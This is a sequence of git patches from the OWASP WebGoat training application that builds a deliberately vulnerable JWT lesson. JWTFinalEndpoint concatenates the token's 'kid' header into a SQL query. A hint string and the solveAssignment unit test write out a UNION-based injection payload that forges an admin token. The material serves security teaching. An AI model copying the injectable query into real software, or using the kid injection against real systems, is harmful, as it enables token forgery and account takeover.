z$q$zoYLz&GRLu(^`IXO0s7tr{W3NkCPiX{;Mkj^Id%)>K_dV+kd3~5oOMfW6`n8nT zHB&K+7WlBg{~YKRwv+Yv*K8liWKRJ*$7FULJsp8e^F$RTQXiDv-eHq%&IYLIYmt+a z_^Dx09r};M+J9zC7>4*W0XLtS=6Tm&lBBLCB>R36cLQ2A4N{y$rGN~p@1f?dYwjL~f-)0Go$||wi>La%eHNcf9`dHO#gCO(xLgPW zsg=H~n2!)8Qe3i9kTjnWdhB*nhT^eFA?y$SiQ*??`~9XVUmr zjDZ#lMwDt9PEDJ|lMAy|SVc%<0P0c357bGk!1wI5VTc8K!JFJdqNDQPOGw61eFBN8tekdsBP!JHlW!MI@c;crcWTEEZME;Sj4txjU;U>eDy#BF`e z-OasUdmu6C@#|iD7<9L=f=eqVK+p8pFso{97p$f{fQ)6y`EcKS!J2}B`p8U7$keZD z--(Au81e0FOTZB^+W6&wqttnLl#~@<&3yi3fu3@&4X6otYnsYd%D=vLLpqaMxgQ+} z_@MExflZ7ZtC=A6`3oCf8*=>FCL9K>%B*r2uK_`OUUG1QdO>%MG76S(A>dOiHJ8E0 zk?f-@92NYOQNM@>pvSP^xerjkKZl1V^0h6s(=OFJkya%m(wWHms_f~XgNZM6b-|C} zNiI_1x(1-mWG>Gy_sEA3$H_WlbV{)$ibCDJKh(QXcc}@_Tg;;`f$RK^$yaMRRw}V<5pj?AjRUXvHS4r&>of(H z=Up~zawHJ7zxMlzjOc^9?GFl9DD9|NbQXnn9x~pPbow>Dxfwqv8Ng>H%bNW@ZLDt| z5E{YTa55W?9tA~)NvZ!&{P$BUqz|W9daq+ocTeRKQ09%_KT#Z=qXiL-*=qs`?_V^#lSQSfR6NAFb*;xI z#wO~@&6-C&Lz%0K89N*E@)E+_3CX!IWSdR5K1jk|L@pCKc6^;uSOl(jA-4?@p>|ah z1ksyUF%{7ERK(i)Docu1qI9YQn>1LxR@zvI+`p6i)-Q;yftN%OjE} z3UwM_&aLq)=z@c*1xKiS?dk7cM}b92el=Y!$odq5bwpq+Y^PCB}oxcSK8Brf8v505Osdrv@+Ub zJy^~Ta!&gR|B|Us#(nt+!#;R^Y>u5a3>`B^s;F<@McC%Pwn^v1Gt?3c!`&nXJ9~Ke zxbkHsB;~7D+KullE`HSj-Ws5a*Gvw~>WK**B;gItDcHgf56o1_aCeFVzXWi}9Q_E4 zuntzX#%9OoJ6bt297vbdnwE|7W7Oi}{-V5~N6y0ww49Q;;ymQ!NYK| zElFCvk80|b;L$sAOJAcTyO@wm4&E+CGV#3=eEufV8jvX@nI~Ffd>>&i-&7rO*Y5I? zML!c#`O2^+Q^ntCQsRMJAe4%CXeZkn&^wqL7U=5|f6eEX2)d)cE@Do%z1q zUDSH73;&HFd&BYa6*KV+-GW=M3UMV`xvkr`xYG=}AwI5)EopNAL@#)5$ynjm2yA+f z`&R4dC&@{=(4ST=w6$i zp2GyH6SYQsF>^}5mL;Zbeo=#8B%P6M2;~4Ai-eg`g~fNS7(2&k@o~H$`3v}1q)_-r;<1;f) zzK1sruLOkTyE|Xh!4ZSeR{Zoh6WoRHGYwlV5pi)TDWR-PjoZnuJk5y3QS3mZ+qRs;PjEw^=S8cOCEncg6))Qf z=hi#(>Vv8wSso-nZPhJ_Lei{{TT(gH5``S7fIeg~vk~sc4=QDK&=L#-U8rkxfq!vy zXCVjLkvII93nmE2`5Gj?`OU;2V?HhQQxK)W(6!Rc%Ul>l`g{u|A^BB8CYD$}arR>l zu)T6X{?gfdu+^qmuHQfJeXtsu^LfHav^soR^e(1`A9ItcO1HrH&Knc9vcrqb8j|VS zJi_nFH{HZDd%0}ABEFSSjfjI7t8Yk9zk;Bh$J|q&u@)w89m*vyBG=^WSY&hu z$cu%_w^UX(n)28DTy6d#;u|gOn4ap8b`o9|sy{wvVM?Dgz0MZ@;-le`k@Oqg0&K65 zuYD)OMsG6L1{kl7nIl(96xw^N^-czAUWTi!@qX8DCY`A^R5gFRtU037lqhUeIts8$ zAARW$;;N*)2|TY^?sL(tiOMOjc;e*HH9FNuj}V!&%^tStFF`&LXCy+Plm(5$Oi8bH zHuBaRx6fNwBqaN_T6wYnyXCs}sjE();m6uM zGY9og@zou*N~_7cvcbn=bDM?o)?DGnj=FGFl; zS?{i>x62OM#S|&iI*#O|I@ieHGgl{pSbLduOLJ4Dt403wdUj@}T*O+abmk3J+CjSi ze$I=J0)XseP94|rPTLWI$QgB6U0(;qyEwRqmIuL2#l)j9clfunLgnn~n{dcPg*LyW`GJH2f5aSJpYUddu@06xsx|*86 zjtZmS-Af<_H(^(a!C@eC_hFv!DwO-if~~Mvy&+(i<(UhBY8ZL$M~&j*!;{E+@WlsB z4LP{tQQMsT;md3)N;4Y#u~*`RjtnbzI`A7*EY06ej(O21;b*UzB!F$$-^7pLwz4#} z=g`*qdJ3S(2k(PjUU-Yb8?DUr>~&X*CKJBZb%um4yzPul%cPT7aHdHucC;$e`Mmr7 zuEPyeu7kJHP=<nLn9}MR10cWS^xa`!hrJBPO6w;Q2%>33 z*x}BX+^;bkNS1>RD>P|@|0mzNy(xTnOi~z`ZjGUIDf4tgp*T|KLM@AOI;K2{nfC|xH+ku(SG@Nq??n#gGPOlUTh z-cLd4ot;!(baZy}36{VXF-ago?4TS`SCqfjtekuC;DoqS47v-IdDYT9%|MIEaF(R1d?2~CwwFNT|FJ^Xf!0LJbH14!emF= z{1}~M*bnbsDU_yD`dU#6!u?v~`sqq$K=Ek$oFsD(N8e70L;cgtrc= z#K2p_Uq?oEzAtrkfmzK>FEEC>Ez1Q!lEHN-XfcA2wbz~5SCG=cCyCb~)Hr0QQ-LAk z``D`Qic7Bv5^Gb96Q3lMW;RL~1kQ(;WW1JDTG@UD0bl{L#gzI|ctw(08Ra|CORgCP)wN5D9-gL3}ScXXD!+fuoW0ZInI`t2 z*9|$j7P!0=2Su*CB^5_vJUcmS((HCH5IT3W=eqdEwO!+1B3Ba-z6%7Xw;*~b&pIHLreDAU2 zV|(+1NyjWG=ndQJlZ3P38l7 z5l5vS*}$~R9Y)i0cOPRn-_}!Ajm_3+Am*@_czgioLeS#c+xyKmLl|fcefKN zqy>+I&yrdZ3uiR!!%s)%F>eJQ*1go=`e5}BG;qGYg_5OfO0SX)IQrD;n}t*y+WWZ! zzm-wsQgo!d%(;&8kXICYpzKtjFsOr?s;YcvJ9~jS-X`o@E8YJt#k3Di&e7vV)v@T` zNVIVGh-mTk1TLPUI(8`(QH8;>^4Suvw1HCvh+)OWTFInB{}!PntvE(aJeh8)!@K+? zNtC5X_JXAMCw&+PDfj<9hZDq3;M3#BNVk{r|9dnb9rw8CVhQ$RaGck&=SMquRnL!q z>PGMvU^xFA|3pjh-+$+w7wPB6f9L&^BZJTXo%c_=4?h2Q-hW^G-+BM{#ph+g|A+Jb i?*jh+y3i-z&MxcnP%Or}yrVn65KUEGmA{p2qW&MBC=+G? literal 0 HcmV?d00001 diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js new file mode 100644 index 0000000000..7d3cc2c418 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js @@ -0,0 +1,10 @@ +function follow(user) { + $.ajax({ + type: 'POST', + url: 'JWT/final/follow/' + user + }).then(function (result) { + $("#toast").setTextContent(result); + }) +} +} + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc new file mode 100644 index 0000000000..3cd423952f --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc @@ -0,0 +1,5 @@ +== Final challenges + +Same as before try to change the token and become admin, this assignment requires multiple attack scenarios. + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc index 8690dd64d7..87f787a0f8 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc @@ -2,7 +2,7 @@ === Assignment -In this assignment Tom no longer has a valid token, try to find a way to create a new access token and use that token -to vote. +Jerry really wants to follow Tom, can you help him to follow Jerry? +From a breach of last year the following logfile is available link:images/logs.txt[here] diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc index 12bdc93a98..0d526de1ca 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc @@ -13,7 +13,7 @@ to be aware of before validating the token. == Assignment -Try to change the token you receive and become an admin user by changing the token. +Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes From 60ef35e24133756ac1962c70ac29384b40ba1ad8 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 21 May 2018 13:19:26 +0200 Subject: [PATCH 56/76] Working lesson --- .../main/java/org/owasp/webgoat/session/CreateDB.java | 2 +- .../org/owasp/webgoat/plugin/JWTFinalEndpoint.java | 2 +- webgoat-lessons/jwt/src/main/resources/html/JWT.html | 3 ++- .../jwt/src/main/resources/js/jwt-final.js | 3 +-- .../jwt/src/main/resources/js/jwt-signing.js | 11 +++++------ 5 files changed, 10 insertions(+), 11 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java index 47545ef35a..1805bd1618 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java @@ -101,7 +101,7 @@ private void createJWTKeys(Connection connection) throws SQLException { // Create the new table try { String createTableStatement = "CREATE TABLE jwt_keys" - + " (" + "id varchar(10)," + + " (" + "id varchar(20)," + "key varchar(20))"; statement.executeUpdate(createTableStatement); diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java index 1dd765faf2..4549c3942f 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -54,7 +54,7 @@ public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); - ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = " + kid); + ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return rs.getString(1).getBytes(Charsets.UTF_8); } diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index bd2326f0d5..9eebc1f37b 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -176,6 +176,7 @@

Tom

action="/WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8" enctype="application/json;charset=UTF-8">
+
@@ -208,7 +209,7 @@

Tom

diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js index 7d3cc2c418..faa31b9277 100644 --- a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js @@ -3,8 +3,7 @@ function follow(user) { type: 'POST', url: 'JWT/final/follow/' + user }).then(function (result) { - $("#toast").setTextContent(result); + $("#toast").append(result); }) } -} diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js index 389145c4d9..55791c32ab 100644 --- a/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js @@ -5,11 +5,10 @@ $(document).ready(function () { function login(user) { $("#name").text(user); $.ajax({ - url: "JWT/votings/login?user=" + user, - complete: function (result, status) { - getVotings(); - } - }); + url: 'JWT/votings/login?user=' + user + }).then(function () { + getVotings(); + }) } var html = '' + @@ -65,7 +64,7 @@ function getVotings() { }) } -webgoat.customjs.jwtSigningCallback = function() { +webgoat.customjs.jwtSigningCallback = function () { getVotings(); } From fd96ba18f1ae1a58bfe6b2828349990f46669445 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 21 May 2018 18:42:50 +0200 Subject: [PATCH 57/76] Added test cases for solving the lesson --- .../webgoat/plugin/JWTFinalEndpoint.java | 24 ++++++- .../resources/i18n/WebGoatLabels.properties | 2 +- .../resources/lessonPlans/en/JWT_final.adoc | 4 +- .../webgoat/plugin/JWTFinalEndpointTest.java | 62 +++++++++++++++++++ 4 files changed, 88 insertions(+), 4 deletions(-) create mode 100644 webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java index 4549c3942f..447dcacc57 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -2,6 +2,7 @@ import com.google.common.base.Charsets; import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; @@ -20,6 +21,26 @@ import java.sql.SQLException; /** + *
+ *  {
+ *      "typ": "JWT",
+ *      "kid": "webgoat_key",
+ *      "alg": "HS256"
+ *  }
+ *  {
+ *       "iss": "WebGoat Token Builder",
+ *       "iat": 1524210904,
+ *       "exp": 1618905304,
+ *       "aud": "webgoat.org",
+ *       "sub": "jerry@webgoat.com",
+ *       "username": "Jerry",
+ *       "Email": "jerry@webgoat.com",
+ *       "Role": [
+ *       "Cat"
+ *       ]
+ *  }
+ * 
+ * * @author nbaars * @since 4/23/17. */ @@ -54,9 +75,10 @@ public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); + System.out.println("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { - return rs.getString(1).getBytes(Charsets.UTF_8); + return TextCodec.BASE64.decode(rs.getString(1)); } } catch (SQLException e) { errorMessage[0] = e.getMessage(); diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index ff7ea9f7c5..62f53fd550 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -22,4 +22,4 @@ jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which k jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database jwt-final-hint4=The key is stored in the database and loaded while verifying a token jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token. -jwt-final-hint6=Use: key1' union all select 'abcdefg' limit 1,1 -- And change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file +jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc index 3cd423952f..de106e7314 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc @@ -1,5 +1,5 @@ == Final challenges -Same as before try to change the token and become admin, this assignment requires multiple attack scenarios. - +Below you see two account, one of Jerry and one of Tom. Jerry wants to remove Toms account from Twitter, but his token +can only delete his own account. Can you try to help him and delete Toms account? diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java new file mode 100644 index 0000000000..9f4c6eba61 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Maps; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTFinalEndpointTest extends LessonTest { + + private static final String TOKEN_JERRY = "eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8"; + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + String key = "deletingTom"; + Map claims = Maps.newHashMap(); + claims.put("username", "Tom"); + String token = Jwts.builder() + .setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key) + .compact(); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", token) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void withJerrysKeyShouldNotSolveAssignment() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", TOKEN_JERRY) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account")))); + } +} \ No newline at end of file From 4a8fdcf8874ebf33533897df2b2b6395ecd9f9fb Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 21 May 2018 19:04:53 +0200 Subject: [PATCH 58/76] Fix content-type for login (gives error in console of browser) --- .../main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java | 3 +++ webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js | 5 +++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java index 48419e0969..cf1e512db7 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java @@ -13,6 +13,7 @@ import org.owasp.webgoat.plugin.votes.Views; import org.owasp.webgoat.plugin.votes.Vote; import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.http.converter.json.MappingJacksonValue; import org.springframework.web.bind.annotation.*; @@ -75,10 +76,12 @@ public void login(@RequestParam("user") String user, HttpServletResponse respons Cookie cookie = new Cookie("access_token", token); response.addCookie(cookie); response.setStatus(HttpStatus.OK.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); } else { Cookie cookie = new Cookie("access_token", ""); response.addCookie(cookie); response.setStatus(HttpStatus.UNAUTHORIZED.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); } } diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js index 55791c32ab..4d692d1bfe 100644 --- a/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-signing.js @@ -5,8 +5,9 @@ $(document).ready(function () { function login(user) { $("#name").text(user); $.ajax({ - url: 'JWT/votings/login?user=' + user - }).then(function () { + url: 'JWT/votings/login?user=' + user, + contentType: "application/json" + }).always(function () { getVotings(); }) } From e06d4642eb670dcbba345fe8845b78ae593ca5a5 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 21 May 2018 20:50:28 +0200 Subject: [PATCH 59/76] Fix error in testcase --- .../webgoat/plugin/JWTFinalEndpoint.java | 1 - .../webgoat/plugin/JWTFinalEndpointTest.java | 2 +- .../org/owasp/webgoat/plugin/TokenTest.java | 37 +++++++++++++++++++ 3 files changed, 38 insertions(+), 2 deletions(-) create mode 100644 webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java index 447dcacc57..cec9fd62cc 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -75,7 +75,6 @@ public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); - System.out.println("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1)); diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java index 9f4c6eba61..fefdbe8f01 100644 --- a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java @@ -23,7 +23,7 @@ @RunWith(SpringJUnit4ClassRunner.class) public class JWTFinalEndpointTest extends LessonTest { - private static final String TOKEN_JERRY = "eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8"; + private static final String TOKEN_JERRY = "eyJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTNTEyIn0.eyJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IkplcnJ5In0.xBc5FFwaOcuxjdr_VJ16n8Jb7vScuaZulNTl66F2MWF1aBe47QsUosvbjWGORNcMPiPNwnMu1Yb0WZVNrp2ZXA"; @Before public void setup() { diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java new file mode 100644 index 0000000000..498c976de2 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java @@ -0,0 +1,37 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.base.Charsets; +import com.google.common.collect.Maps; +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import org.junit.Test; + +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +public class TokenTest { + + @Test + public void test() { + String key = "qwertyqwerty1234"; + Map claims = Maps.newHashMap(); + claims.put("username", "Jerry"); + claims.put("aud", "webgoat.org"); + claims.put("email", "jerry@webgoat.com"); + String token = Jwts.builder() + .setHeaderParam("kid", "webgoat_key") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact(); + System.out.println(token); + Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token); + jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){ + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + return TextCodec.BASE64.decode(key); + } + }).parse(token); + + } +} From dda6f674a3e8a87c3c9df1983895d372d4221fea Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 22 May 2018 17:06:03 +0200 Subject: [PATCH 60/76] Last assignment for JWT tokens finished --- .../js/goatApp/view/LessonContentView.js | 3 + .../src/test/resources/logback-test.xml | 16 ++- .../webgoat/plugin/JWTRefreshEndpoint.java | 109 +++++++++++++++ .../jwt/src/main/resources/html/JWT.html | 130 +++++++++++++----- .../resources/i18n/WebGoatLabels.properties | 6 + .../jwt/src/main/resources/images/logs.txt | 10 +- .../jwt/src/main/resources/js/jwt-refresh.js | 42 ++++++ .../en/JWT_refresh_assignment.adoc | 2 +- .../plugin/JWTRefreshEndpointTest.java | 102 ++++++++++++++ .../org/owasp/webgoat/plugin/TokenTest.java | 19 +++ 10 files changed, 394 insertions(+), 45 deletions(-) create mode 100644 webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java create mode 100644 webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js create mode 100644 webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js index 75ff968b21..1177611087 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js @@ -90,6 +90,8 @@ define(['jquery', var prepareDataFunctionName = $(curForm).attr('prepareData'); var callbackFunctionName = $(curForm).attr('callback'); var submitData = (typeof webgoat.customjs[prepareDataFunctionName] === 'function') ? webgoat.customjs[prepareDataFunctionName]() : $(curForm).serialize(); + var additionalHeadersFunctionName = $(curForm).attr('additionalHeaders'); + var additionalHeaders = (typeof webgoat.customjs[additionalHeadersFunctionName] === 'function') ? webgoat.customjs[additionalHeadersFunctionName]() : function() {}; var successCallBackFunctionName = $(curForm).attr('successCallback'); var failureCallbackFunctionName = $(curForm).attr('failureCallback'); var callbackFunction = (typeof webgoat.customjs[callbackFunctionName] === 'function') ? webgoat.customjs[callbackFunctionName] : function() {}; @@ -104,6 +106,7 @@ define(['jquery', $.ajax({ //data:submitData, url:formUrl, + headers: additionalHeaders, method:formMethod, contentType:contentType, data: submitData, diff --git a/webgoat-container/src/test/resources/logback-test.xml b/webgoat-container/src/test/resources/logback-test.xml index adfa02c68c..2ee84585a0 100644 